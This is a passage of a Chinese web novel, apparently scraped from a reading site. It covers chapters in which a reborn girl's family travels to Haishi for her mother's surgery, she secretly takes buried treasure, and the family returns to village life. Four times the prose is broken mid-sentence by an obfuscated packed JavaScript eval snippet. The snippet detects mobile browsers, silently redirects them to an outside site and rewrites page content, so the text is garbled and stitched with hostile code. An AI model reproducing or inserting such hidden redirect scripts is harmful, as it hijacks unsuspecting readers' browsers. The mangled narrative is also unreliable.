这姑娘穿着一身呢子大衣，脚下还踩着一双皮靴，头发时髦的烫成了卷发，哪里会是他们这种乡下人能够认识的人物。 当时在吴家，光线很暗，宋茹鼻青脸肿的，她也没细看，哪里认得出。 倒是钟莹莹，仔细观察了一会儿，就认出来了：“娘，是那个寄信的姐姐。” 陈显英立马明白了。 “对，我是宋茹。”宋茹立马自我介绍。 当时被救之后，她托公安局的人打听了一下关与吴家人的社会关系，很轻易的搞到了钟家人的信息。 害怕给他们带来麻烦，没敢找过去，隔了几个月才从海市寄了个包裹过去，表示感谢。 “大娘，你们来海市是有什么事吗？” “我娘生病了，我们来这看病的。”钟莹莹答道。 “生病？那你们找到住的地方了吗？没地方住可以先住我家。”宋茹心想，这下抓到机会能够报答回去了。 “那多麻烦你啊，我们住招待所就行。”很多人很忌讳这些，害怕病人把病气过到自己家去。陈显英也不想讨人嫌。 宋茹还想邀请，又想到自家住的也不宽裕，邀请人过去也是挤得难受，住招待所反而宽松些，便没再继续。 “那我带你们去招待所吧，那的路可不好找。”宋茹很是热心，刚走几步，就被不长眼的给拦下来了。 “小茹？” 一个头发不知道抹了多少层油的男人从远处走过来，身后还跟着个娇小的女人。 “真的是你啊？” “听说你……我很抱歉。”男人嘴里道歉，眼睛里却写满了鄙夷。 宋茹看着他就烦，这个男人是她的竹马，叫赵擎。 在她被拐后，迅速和她表妹成了家。 当时她被拐也是因为她表妹约她去电影院，一到地方她就被人打晕拐走了。 历经千难万阻回到家里，才发现，她表妹回家给家里说的是，她和一个男人私奔了。 她爹不相信，一直在找她。 她表妹包括那个所谓的小姨都在劝她爹放弃吧，说她只是去寻找自己的幸福了。 她小姨早年丧夫，一直想改嫁进他们家，宋茹是知道的。 之前甚至还劝过她爹，小姨对她好，两家并为一家也好，她爹惦念着她娘，一直不同意。 现在想想，宋茹都想扇自己两个大巴掌，真真就自己引狼入室，害了自己。 “表姐。”林晚晚怯怯的喊。 “别叫我表姐，谁是你表姐。” 回家的第一时间，她就告诉了父亲，然后迅速和小姨还有外婆那一大家子吸血鬼断绝了关系。 想将林晚晚给绳之以法，又苦于没证据。 只好就此作罢。 这两人竟然还敢舞到自己面前来？ 真当自己是软柿子了。 “表姐，你还在怪我是不是？当时我也只是看见你和一个男人走了，所以才认为你和别人私奔了。”林晚晚眼睛里噙满了泪水。 ‘啪’ 宋茹上去就是一巴掌。 “表……” ‘啪、啪、啪’ 还能再说话，看来是没被打够。 “小茹，你怎么能打……” ‘啪’ 狗男人也该打。 一连打了两个仇人。 爽了。 “好狗不挡路，让让。”宋茹拉着钟莹莹，推开两人就要走。 林晚晚却不想放过这么好的落井下石的机会。从小到大她都比不过宋茹，家世家世比不上，样貌样貌比不上。 这次，宋茹拥有的一切差一点就可以变成她的，为什么？为什么她要回来。 林晚晚恨啊。 “表姐，这孩子是谁？该不会是你在乡下生的私生女吧？”林晚晚知道不可能，但是不妨碍她说出来恶心宋茹。 这下不用宋茹出手，陈显英扯着头发就给了她俩大巴掌。 “说话就说话，扯我们家孩子干嘛？” 林晚晚以为自己戳到了宋茹痛处，也顾不得自己身上的痛，继续嘲讽道：“这俩该不会是你公婆吧？表姐。” “看来当时我没看错啊，你就是和男人私奔了。” 宋茹突然之间不想走了，今天不给她撕吧明白了，她就不是小霸王‘茹’。 ‘啪啪啪……’ “我叫你私奔，你全家都跟人私奔了。”一套连环巴掌就冲着林晚晚的脑袋下去了。 打完仍不解气。 扯着她的头发，膝盖猛顶她的肚子，直接给林晚晚顶的口水都吐出来了。 钟伟先护着钟莹莹离这场闹剧远远的。 赵擎想过去帮自己老婆，陈显英胳膊一伸就给人拦住了：“女人打架，男人插什么手？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585689|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这俩人一看就不是啥好东西，宋茹只有一个人，还遭遇了那样的事，陈显英想着顺手帮一下就帮了，骂自家闺女的也该打。 赵擎一向自诩有绅士风度，告诫自己不和一个乡下婆子计较。 竟然真就这么眼巴巴站着看着自己老婆挨打。 钟莹莹看着赵擎，总觉得眼熟，这人她前世一定见过。 “干什么的、干什么的？”正当林晚晚好不容易突破宋茹的钳制，想要反手打回去时，一队身穿警服的帽子叔叔突然出现。直接把宋茹和林晚晚都扣住了。 “谁让你们在这打架斗殴的？” “都带走。”看着边上围观的钟家人和赵擎，领头的那个警察打手一挥，全部带走。 就这样，钟家三口人刚出火车站就进了警察局。 “姓名？” “家庭住址？” “来海市做什么的？” 警察将几人分开来，一个个审问。 这个时候破坏份子多，不能保证他们不是可疑人物。 大人受审，钟莹莹被一个女警抱到一边去，一边给拿了个肉包子啃着，一边旁敲侧击着问发生了什么事。 “宋茹姐姐要带我们去招待所，那个矮姐姐突然骂人，还骂我，然后就打起来了。” 钟莹莹是不吝啬在这个时候给林晚晚上眼药的，骂她是私生女，她小小的报复一下也是应该的。 女警是认识宋茹的，当时宋茹的案子是她办的。 宋茹和林晚晚的关系很僵，因为宋茹指控是林晚晚拐卖了她。 女警调查了很久，也没查出证据，最后林晚晚只能无罪释放。 如果是林晚晚先骂人，才打起来的，那也正常。 林晚晚挑事，林晚晚挨打，还手了，只能算互殴，双方各打二十大板，等家里人过来保释他们回去就行。 宋冬宇被通知后，匆忙来保释的时候，让女儿站起来，前前后后都仔细用眼神检查了一遍，确认她不是挨打的那一方，才去警察那里交钱签字。 钟家人最后也没有去招待所住，而是被宋冬宇一块带回了宋家，厂里有宿舍，他把自己的房间让出来给宋家人住，他晚上去厂里住。 到宋家，临到吃饭的时候，钟莹莹才想起来究竟在哪里见过赵擎，手机短视频里。 里面记载了赵擎的发家史，包括他家当年是如何带着财产远渡重洋的。 这财产来路也不正，是一孤寡老头的，战争时期，赵擎他爹害了那老头，夺了人家房子，后面又在风暴来临前挖出那一笔财宝，去了大洋彼岸，等到祖国风平浪静后，又以知名侨裔的身份归国。 赵家得到的那埋东西的破落小院，钟莹莹记得清清楚楚，以前刷手机的时候，还想过，要是自己穿越了，一定要先一步去挖了那批宝贝。 这下子可以梦想成真了。 25. 第 25 章 “陈大姐这病啊，去教会医院比较好，那边有洋人医生。”开刀做手术，外国人还是要比国内的技术要好一点，他们比国内领先了太多。 “教会医院的收费比较贵，不过你们也不用太担心。符合条件的，术后可以申请费用减免。”宋冬宇在海市生活几十年，这里大大小小的地方他多多少少都了解些。 尤其医院，生老病死，那是必须打招呼的地方。 “我托人在那边给你们挂个号，等下午你们直接过去看病就好。”宋冬宇方方面面都考虑到了。 “那就太感谢了。”一来海市就能遇到宋家人，真是他们的幸运。 让他们自己去转悠，不知道要多花多少功夫呢？ “客气啥，应该是我谢谢你们才对。” “小茹都和我说了，要没有你家闺女的帮助，她可能真的就跑不出来了。”虽然加害者是钟家的前女婿，但是宋冬宇将两者分的很开，恩是恩，仇是仇，他不能把仇抱在无辜的人身上。 他亡妻就给他留下一个女儿，要是女儿没了，他不知道自己还能不能再活在这人世间，也不知道自己还有没有脸到地底下去见亡妻。 林家人是真该死，他不会放过他们的。 以前的小打小闹，坑小茹的零花钱，都算不得什么大事。他们千不该，万不该，动了歪心思，想要取了小茹的性命。 因为拖了关系，检查和住院流程都走的异常顺利。 通过X光检查，只查出子宫内有一个小小的瘤子。 医生说具体情况得先切了瘤子观察检验一下，看需不要再进行后续的治疗。 还说他们很幸运，他还是第一次见症状这么轻就过来做手术的。 瘤体小，刀口就小，做了手术也更容易恢复。 钟伟先陪着陈显英一块住院，医生给提供了一张简陋的陪护床。 条件有限，钟莹莹就被宋茹带回了宋家跟她住。 陈显英的手术是安排在第三天。 整个人都休息好了，身体状况得到最大的恢复，再进行手术，风险也会降低一些。 “莹莹，你娘会好好的，对吧？”钟伟先等在手术室门口，紧紧捏住了钟莹莹的手。 “一定会好的。”钟莹莹心里也有些没底。 此刻她在心里默默祈求漫天神佛，既然能够让她来到这个时代，那一定要让她娘好好的，她以后一定多做好人好事，努力为国家做贡献。 时间一分一秒的过去，手术实的灯一直亮着。 宋茹过来的时候，就见父女俩一动不动的守在门前。 “钟叔，你也吃点饭，等会儿大娘出来了，你还得照顾他呢。”宋茹好声好气的劝道。 “爹？”钟莹莹伸出手在钟伟先面前晃了晃。 “没事，先吃饭，谢谢小宋。”钟伟先接过饭盒，先是给钟莹莹喂了小半，剩下的才迅速扒进自己的嘴里，一盒饭很快吃完，他却尝出什么味道，一门心思惦记手术室里的人。 手术室的门开开关关，外国佬医生进进出出的往里面送东西。 一袋袋血浆被送进手术室。 终于，八个小时候，手术室的灯熄灭了。 红灯转为绿灯。 一张病床从里面被推出来。 “先生，恭喜，手术很成功。”主刀医生摘下口罩，露出满脸的笑容。 手术中的小波折，那一袋袋的血浆，个中辛苦，不足为外人道也。 好在，幸不辱使命。 “感谢老天。”钟伟先整个人似是再也支撑不住，一下子瘫倒在地。 “钟叔？”宋茹连忙去搀扶。 给人搀到椅子上休息了一会，他才行动自如。 陈显英被护士推到病房里，告知了钟伟先注意事项。 让他盯着，等病人醒后，不能下床，也不能直起身来，枕头也不能垫。 等到麻醉过去，病人完全苏醒，六个小时以后，才能给枕头。 不然可能会出现头晕恶心的症状。 术后三天吃喝拉撒都要在床上解决。 钟伟先一字一句的都记在了心里。 陈显英是过了一个多小时才醒过来的。 “莹莹？”看着女儿趴在床边睡着了，她挣扎着想要起身。 “别动。”钟伟先一把给她按回去了。 “医生说你暂时不能起来，需要平躺。” “手术很成功，接下来住院观察一段时间，如果没有问题，我们就可以回家了。”钟伟先说话的时候，泪水悄悄滑落。 天知道他有多害怕，那可是开肠破肚，有几个人经历过这事。 “别哭了，好好的福气都哭没了。” “再哭下去，我也想哭了。”做手术的是自己，他哭什么，陈显英很是无奈。 “好、好，都不哭，手术成功是喜事，大喜的日子，合该笑才是。”钟伟先想笑，咧了咧嘴巴，又憋回去了，实在笑不出来。 钟莹莹放心不下，谁劝都不行，一连在医院陪了三天，跟着钟伟先一起挤着那张狭窄又简陋的小床。 等到第四天，医生说陈显英的状况已经完全稳定下来了。 她才跟着宋茹一块回到宋家去住。 一回到宋家，宋茹就带她去澡堂子洗了个澡。 快半个月没洗澡了，钟莹莹感觉自己身上都有味了。 她娘的术后情况稳定下来了，她也有心情去考虑其他事情了。 这两天她上午在医院里陪陈显英，等到下午宋茹下班回到家，就会来接她，一块去街上溜达，熟悉熟悉环境。 这辈子的海市和上辈子的海市差距还是很大的。 没有霓虹灯的闪烁，街道都显得灰扑扑的。 宋茹一手牵着她，一手给她介绍街上的建筑。 “这是纺织厂，我上班的地方，这是海市的国营商店，里面很多外面买不到的东西，走，我带你进去看看。” “看上什么姐姐买给你。” 钟莹莹跟着她进去逛了一圈，没有开口要什么。 宋茹看上了一条红色的羊绒围巾，直接让售货员取下来，给钟莹莹试了一下，交钱拿下了。 “宋茹姐……” “逛街哪有不买东西的，别心疼钱，你姐姐能赚。”钟莹莹刚想开口拒绝，就被宋茹给堵回去了。 “走，姐姐带你下馆子去。” “我给你说啊，我们这的本帮菜，做的可地道了，那个焖蹄面，那叫一个香，包你吃了还想吃。”宋茹给自己说的都馋了。 她爹是主任，天天在厂里吃饭，也不花钱，她自己也有工作，两人赚钱一人花，没事她就下馆子。 整个海市大大小小的饭馆，可以说没有她没去过的。 今天她带钟莹莹去的是一家私房菜馆，叫兴荣馆，位置有些偏僻，在胡同里。 平常她自己一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585690|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人，是不会往这里来的，不大安全。 今天过来，是因为吃完晚饭她爹会过来接她，说好了的。 厂里还有事，宋冬宇就没跟她一起过来。 宋茹的目的地，和钟莹莹溜达几天，一直想去的那个地方，竟然重合了。 赵擎家占据的那个破落小院，就在兴荣馆的边上。 大槐树，小破院，兴荣馆，树下正前方，院子西南角，往下挖两米。 赵擎家未来发家的资本就在那里。 越是靠近，钟莹莹越是抑制不住的兴奋。 她的金手指可以将一切她触碰到的没有生命的物体收到自己的空间里，然后通过意识可以将那些东西瞬间进行分类，如果速度够快的情况下，她完全可以在瞬间，将那院子角落的一小片土地收到空间里，剔除泥土结构后，只留下那些财宝，把泥土原样还回去。 这一举动，甚至是可以在人前做，就像她从前在秧苗里抓蚂蝗一样，没有人能看出来。 有一个缺点就是，还回去的泥土，上层是完好的，但是底下却是中空的。 如果上面再施加压力，恐怕地面会立即塌陷。 那里平常也没外人去，留下来估计会给赵家人一个大大的‘惊喜’。 保险起见，她还是收敛了，决定等天黑吃完饭，没人的时候再过去收。 “莹莹，你尝尝这糟钵头，这可是兴荣馆的名菜。”宋茹夹了一筷子猪肚放到钟莹莹碗里。 糟钵头，就是猪肚、肺头等内脏，加上糟卤炖煮，酒香味浓郁，滋补暖身。 各种内脏杂货类的本就是钟莹莹的最爱，这种精加工过的更是诱人的不行。 钟莹莹左一筷子，右一筷子，吃的直接停不下来嘴。 他们只有俩人，钟莹莹人小肚子小。 所以只要了一个糟钵头和一碗焖蹄面，找店家拿了一个小碗，两人分吃一碗面。 没一会儿就吃的满头大汗。 “等明天我再打包一些给钟叔和大娘送过去。”宋茹吃着还不忘惦记医院里的两个人。 钟莹莹感觉很奇妙，自己当初的日行一善，竟然能够换来这么一个朋友尽心尽力的帮助，看来以后她还是要多做好事。 决定了，如果等会吃完饭，挖的东西里面有古董，那等到未来，她要全部捐献给国家。 如果里面是金子和钱，那她还是留下自己用。 遇到需要帮助的，她可以拿这些东西去帮助他们，为自己为家人行善积德。希望老天能保佑他们家人未来都能平平安安的。 宋冬宇忙完了过来接人，俩大一小走到那个大槐树下面的时候，钟莹莹扯扯宋茹的棉袄，让她停下，然后小声道：“我想小解。” 这边没有公厕，钟莹莹又是个小孩，宋茹给宋冬宇说了一声后，就带着钟莹莹去角落里解决了。 正好就是那个小院的西南角，在院子外面，不过并不影响钟莹莹操作。 “宋茹姐，你别看我，看我我解不出来。”钟莹莹装作很不好意思的样子。 “行，那我背过身去。” 看宋茹往前走了几步，背对着自己。 钟莹莹飞快的左右扫视了一圈，确定一个人也没有，然后解开裤子蹲下，手往墙边的地上那么一放，立马就收回了。 任谁也看不出这地底下的东西被她取走了。 她站起来提起裤子，若无其事的跟宋茹说，她好了。 26. 第 26 章 回到宋家，洗漱完躺到宋茹的床上，钟莹莹快乐的直打滚。 “什么事这么高兴啊？”见她这么乐，宋茹忍不住也笑了起来。 “我娘的病好了，嘿嘿~”我还得了一大笔财宝，后面的话钟莹莹是在心里说的。 人逢喜事精神爽，她这是双倍的喜啊！ 从小院里拿的东西足足有二十三箱，每箱都塞的满满的。 大部分是古董字画，钟莹莹看不懂。 这个等到以后开放了，捐给国家。 有两箱里面放的是金条，还有一箱是首饰。 珍珠翡翠玛瑙蜜蜡，每一件都是后世能拿到拍卖场里拍卖的宝贝。 这次真的要发财了，辛苦干几年，都比不上这一比横财。 怪不得赵擎以后能成为大富豪呢，就凭这些东西，以后随随便便拿出去一样，都足够一个普通人快快乐乐的过完一辈子了。 没让受害者的东西落入加害者的手中，她也算是做了一件好事。 “以后会更好的，大家都会平平安安的。”宋茹搂着钟莹莹，这句话不仅是对钟莹莹说的，也是对她自己说的。 自从回到海市，她夜晚时长深陷梦魇，梦到那时的事，怎么也逃不脱。 但是，钟家一行人来了之后，她再也没做过那样的梦。 因为梦里有一双小手，牵着她离开了黑暗。 宋家是两室一厅的格局。 客厅还兼了厨房，平常做饭就在角落里的煤炉子上。 宋家两父女在家吃的次数少，不是厂里食堂就是下馆子。 钟莹莹来了之后，那个煤炉子倒是经常生起火来了。 大人洗漱可以用冷水凑合，小孩子不行。 冬天的冷水一激，保准要生出冻疮不可。 陈显英是在术后半个月出院的，腹部的伤口已经初步愈合，人也可以下地短距离走动了。 医生说基本没什么大问题了，若是有不舒服，以后及时来医院复查，或者回当地的医院检查都行。 手术费已经花了二百多了，本来陈显英是想和家里人买火车票直接回家的，但是宋冬宇强行把人给留了下来。 说是等一周后去医院复查完再走，小地方的医院比不上海市的，万一回去了出问题，再来海市，麻烦更大。 钟伟先和陈显英被他说服了，就这么在宋家住了下来。 “宋老弟啊，我们麻烦你们也够久了，这复查也查了一次了，我们打算回去了。” “这段时间多谢你们的照顾了。”钟伟先实在是不知道该怎么感谢他了，给钱吧，伤感情，人家之前还给自家寄了那么多钱，买东西吧，现在在海市，买海市特产送海市人，也显得有点滑稽。 他想着，等回家一定要邮寄一些他们那的产物寄过来。 他们那有啥呢？红糖？红砖？还是他们村的咸菜？貌似都不是很合适。 等到回去之后，再好好的找一找。 “是我该感谢你们才是。”女儿之前一直做噩梦，吃不好，睡不好，那小丫头来了之后，她有了盼头，整个人气色都好了不少。 宋冬宇最近在忙着料理老丈母娘那一家。 林晚晚之前的工作是他托关系给找的，他能找，也能让她没。 本来她就借着自己的关系，工作一直不认真，对方强忍着，这下子没了后台，直接寻了个错处给她开除回家待着去了。 宋冬宇的报复会那么简单？ 当然不是。 他得到消息，上面最近开始动员待业青年上山下乡的事情。 而且好像要搞那什么票证制度，买东西都要凭票购买了。 这事要是真的，那到时候他要把林晚晚给搞到北疆去。 他年轻的时候在那里当过兵，那儿最适合让心术不正的人改邪归正了。 “哎呀，都别谢来谢去的了。” “以后常来常往就好了，又不是以后见不着了。”陈显英实在是不耐烦见两个大男人在那里腻腻歪歪的。 “也是，以后多来往。”宋冬宇乐呵呵的说。 宋茹正在这扒拉一下，那扒拉一下的给钟莹莹装送别礼物，她是这个也想给她带上，那个也想给她带上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585691|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恨不得把整个宋家给装进去。 如果说刚开始和钟莹莹交往，是因为对方曾经在黑暗中拉了她一把，那么现在则是因为相处出了真感情。 钟家人在相处中进退有度，虽然家境不如他们家，但是既不自卑，也不贪婪。 不像她外婆一家，每次来她家，见到什么好东西都想扒拉回自家。 “宋茹姐，别装了，爹要拿不下了。”钟莹莹看她左一包右一包的，实在忍不住提醒道。 他们一行人，有一个是病号，有一个是小孩，只有一个是健全的大人。 这个大人既要兼顾她这个孩子，还要照顾病号，还要提一大堆东西，哪里能做到？ “也对，那我到时候给你寄过去。”宋茹仿若大梦初醒一般，想起还有邮局这个东西。 她装的东西大部分都是她出去闲逛的时候买给钟莹莹的，有小玩具，有书本，还有各种糕点零嘴儿。 最后挑挑拣拣的拿了糕点和肉干给钟莹莹装包裹里，剩下的她一琢磨，全部邮寄过去好了。 回去的时候比来时的条件要好，宋冬宇找人给他们买了两张软卧下铺票，能够提前上火车，不用和别人挤着检票进站，铺位也比硬卧的要大要软，车厢门一关，就是一个安静的小空间，更有利于病人休息。 宋冬宇和宋茹特地请了假送钟家人进站，买了月台票，拎着行李直接给人送到了车厢内才走。 “终于要回家了，也不知道家里怎么样了。”躺在松软的铺位上，陈显英感概道。 这回去竟然比来时还要舒服，她也是赶上好时候了。 软卧车厢比硬卧人更少，直到他们回到家里，车厢里都没再进来其他人。 钟伟先睡到一半，干脆直接把那个门从里面锁了，反正如果再有人来，会敲门的。 锁住了，他们也能睡个好觉，不用时刻警惕有扒手和偷孩子的。 火车到站的时候，外面乌漆嘛黑的，直接回村显然不现实。 钟伟先最后是带着老婆孩子去招待所开了一间房睡下了，在海市没住上，回到老家终究是睡上了。 27. 第 27 章 早上他们是坐牛车回去的，陈显英没办法走太久的路，钟伟先从外面雇了个牛车，又买了床被子，铺在牛车上，好让陈显英好受点。 为求稳妥，牛车晃晃悠悠的晃了一个白天才到家。 钟伟先还给人加了钱。 陈显英做完手术出来的时候，钟伟先就给家里拍了电报报平安。 到家后，家里只有钟绍华和钟明月两个人，黄有德假期用完了，需要归队，钟明芳也跟着走了，把丽丽跟他家里的三个孩子和老娘都带上了。 之前发大水，他家差点没了，他现在有家属能够随军的资格，那肯定是要全部打包带走，不然等哪天回到家，发现家没了，哭都没眼泪。 刚一到家，钟莹莹没来得及喜悦，就得到一个不幸的消息，她要开学了。 假期就这么一晃而过，她压根没有什么感觉。 为什么人要上学啊。 “莹莹，你怎么了，不开心吗？，你可是第一名诶！”楚秀秀十分羡慕，她语文考了八十多，数学才七十多，而钟莹莹考了双百分。 不知道她还有什么不开心的。 听说待会儿老师还会给考双百的发奖励呢，她只排了十七名，这种好事是轮不到她的。 “听说你假期去了海市呢，海市好玩吗？是不是有很多高楼啊？”钟莹莹边上围了一大群孩子。 他们去过最远的地方也就是县里了，海市海市，在另外一个市，都出省了，也不知道海市是不是真的有大海，他们还没见过海呢！ 毛蛋吸溜吸溜鼻涕，满脸神往。 “好了，同学们，上课了，都回到自己的座位上去。”陈萍拿起课本敲了敲桌面，围观的孩子顿时一哄而散，乖乖的回到了自己的座位上，坐好。 “老师有件喜事要告诉大家，这次我们班有三名同学考了双百分，大家鼓掌为他们喝彩~” “啪、啪、啪……” “对于这三名同学，学校决定做出如下奖励，每人奖励一元钱，和两本作业本。” “哇……” 陈萍话音刚落，就听取哇声一片。 那可是一块钱啊，不知道能买多少零嘴了。 这些孩子平时是没有零花钱的，也就过年能领到一毛两毛的压岁钱，大部分还会被家长收回。 自己想去供销社买个东西都可难了。 偏偏镇上的供销社就爱卖些零嘴儿馋他们。 钟莹莹觉得自己已经和他们不是一个等级的了。 那一大箱子金条，已经让她膨胀了，心里总琢磨着要不要做些什么。 这玩意又没有个由头，拿出来了，等到那几年，她家能被批死。 还是苟着吧。 这一苟就苟到了五年后。 国家开始禁止私人买卖，实行票证制度。 他们村像咸菜作坊一样的咸菜厂，也曾一度差点倒闭。 好在当初向上申请的时候，就是以村为名义建立的。 这个咸菜厂属于村集体的财产，并不属于个人。 管理者也是有村长兼任，并没有受到这场浪潮的牵连。 钟莹莹八岁了，在县里读初一，住校，只有周末才会回家。 跟她一起考上初中的只有楚秀秀和毛蛋，楚琳琳落选了。 刚结束第一学期的期末考试，准备收拾包袱回家教育好大侄儿，就听到有知识青年下乡到他们村了。 “叔，还要等多久啊？”毛蛋有些不耐烦了。 原本能蹭上村里的车子回家是好事，这样他们就可以不用走路了。 没曾想还要等那劳什子的知青。 也不知道还有多久才能到。 “应该快了，说是十点的火车，这都十点半了。”钟强先也急啊，前些日子在镇上开会，一个村子给分了五六个知青，说是来帮助他们干活，建设新农村的。 这些城里人懂得啥啊，知道啥是小麦苗，啥是韭菜苗吗？ 村长赶的牛车还是钟莹莹家的，因为不允许私人拥有，所以村里折价将牛收入为生产队所有了，他们现在正式的名字叫做钟家岗生产大队。 村长是大队长，大队书记是老楚。 陈显英当了记分员，之前切瘤子的事，村里人都知道了，她不能干重活了，还识字，所以经过村里投票，由她担任记分员。 “哎，来了来了，我看见他们了。” “钟家岗大队的，往这里来。”钟强先见着出站口出来一群年轻的男男女女，连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585692|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声喊道。 没过几分钟，就喊来了五六个。 钟强先数了一下人数，拿着张纸条对着钟莹莹道：“大侄女，帮忙点下名，看看有没有人没到。” 钟莹莹接过纸条，有点无语，她叔又在躲懒。 “孙伟。” “到。” “张强、李莉莉、徐超。” “周岱。” “到。”一道清澈的男音响起。 念到最后一个名字，钟莹莹抬眼看了一下，岱这个名字很少见，他们这儿的人取名不是强啊，就是伟啊的。 名字的主人是个长相清隽的男生，看上去大概十七八岁。 一身洗的发白的短衫，蓝色的裤子，裤子的膝盖处还打了两个补丁。 一行五个人当中，就属他穿得最寒酸。 见点名的小孩盯着自己看，他还腼腆的笑了笑。 “人到齐了，我们就上车走吧。”钟伟先说着就赶着牛车，调转了车头。 五个人都很老实，没有作妖。 钟家岗没有再搭房子给知青，用的是吴老婆子的房子。 前两年她就没了，为了给她侄子攒钱取媳妇，一大把年纪去当挑河工修大坝，摔断了腿，侄子拿了她的钱压根不愿意理睬她。 侄女吴菊还好，过来看了几次，给她洗洗弄弄，做了几顿饭。 但她也有自己的家庭要顾，没多久吴老婆子就去了。 她那个好大侄还想要吴老婆子的房子，被钟家岗的人直接给打跑了。 吴老婆子的房子，本来就是他们钟家岗人的，再怎么样也不会给外人拿了去。 后面那房子一直空着，就给村里做了仓库。 这次接了知青，索性也给安排到那里，既能看仓库，还省得给他们找住的地方，一举两得。 知青的事跟钟莹莹没多大关系，她现在一门心思在她的好大侄身上。 也不知道熊孩子想她了没有。 在学校的每一天，她可都在思念她的好侄儿啊~ “木木，姑姑回来了~” “别跑啊~” 钟莹莹在后面追，一个大胖孩在前面哭着跑。 钟莹莹喊的越大声，那孩子跑的就越快。 28. 第 28 章 “姑姑，我错了，我再也不骗楚大傻了。”小胖墩跑再快也没有比他大了五岁的人快，没一会儿就被追上了。 “真的知道错了？”钟莹莹很是怀疑。 她这个前大伯，现侄子，真就是天生坏种。 原先她以为只是后天缺乏教育，才导致他跟人学坏了，后面发现，根本就不是那么一回事。 这个孩子生来就坏，见到蚂蚁必给捏死，昆虫知了类的，他抓住了会一点点扯掉他们的肢体，满满的虐杀。 在钟莹莹的一次次爱的教育（打屁股蛋）之下，他收敛了许多，起码不再做虐待动物的事情了。 但钟莹莹总归有不在家的时候，她要上学，每周最多回来两天。 这就给了小胖墩钻空子的机会。 现在他不玩虫子了，改玩隔壁楚家的傻孩子。 从一开始的骗人家的糖，到后面的骗人家跳鱼塘，一次比一次过分。 旁人都说孩子还小，不懂事，长大就好了。 钟莹莹却知道，长大好不了，小时候不教育，长大只会变得比小时候更坏。 只要小胖墩一犯事，她就揍他，还问他错哪了，能不能改。 如果他改正了，那她下次放假就会从县里给小胖墩带礼物，如果他没有改，那下次钟莹莹回来，只要听见有人告状，迎接他的就是大棒加巴掌。 在棍棒和大枣的加持下，小胖墩却是也改正了不少坏习惯。 小胖墩大名叫钟新澄，钟莹莹帮着从家里人取的几个名字里选出来的，她希望他以后能做个正直澄澈善良的人。 不善良也行，万万不能的是天天搞事情，先搞别人，最后搞到自家人头上。 “真的错了，姑姑你别打我，呜呜……”每次姑姑一回家，自己就要挨打，爷爷奶奶都不管，自己真的太惨啦。 “你不欺负别人，下星期我带你去县里玩，那边有放电影的，可好玩了。” “真的吗？那我以后不欺负楚傻子了。”小胖墩欢呼道。 “楚傻子？”钟莹莹声音微微上扬。 “楚天宝。”小胖墩不情不愿的改口，楚天宝本来就是个傻子，不明白姑姑为啥不让自己喊。明明好多孩子都喊他傻子。 钟莹莹见她好大侄儿满脸的不情愿，把人拉过来，面对面教导：“新澄，要是别人喊你小胖子，你高兴不？” “他们不敢。”钟新澄吃的胖，又爱动，身上的肉很扎实，同龄的孩子，包括大几岁的孩子都打不过他，是孩子群里的小霸王。 “当你面不敢，那背后呢？” “谁背后说我了，姑姑我打他去。”钟新澄捏紧了自己的小拳头，只要钟莹莹一声令下，他能立马给那个人脑袋打开花。 “打、打、打，天天就知道打。” “给人打坏了，会蹲篱笆子的，你想蹲篱笆子吗？”钟莹莹伸出手指，恶狠狠的戳了戳钟新澄的脑袋。 “啥是篱笆子？”钟新澄很不解。 忘了，这家伙还是个文盲来着。 当时他也是三岁被送去上学了，因为打同学，还不听课，又被老师拒收了，说等他大点了懂事了再送到学校去。 “篱笆子就是有人把你关进小黑屋，里面黑黢黢的，啥也没有，让你再也见不到爷爷奶奶，爹娘，还有你姑姑了。” “哇……我不要蹲篱笆子，我以后不打人了。”钟新澄怕黑，一下子就被吓哭了。 “打人就蹲篱笆子，不打人就是好孩子，听懂了吗？”钟莹莹继续给他洗脑。 “嗯……懂了，我要当好孩子，不要蹲篱笆子。” 孺子可教也。 钟莹莹牵着钟新澄的手，伴着夕阳，往家走去。 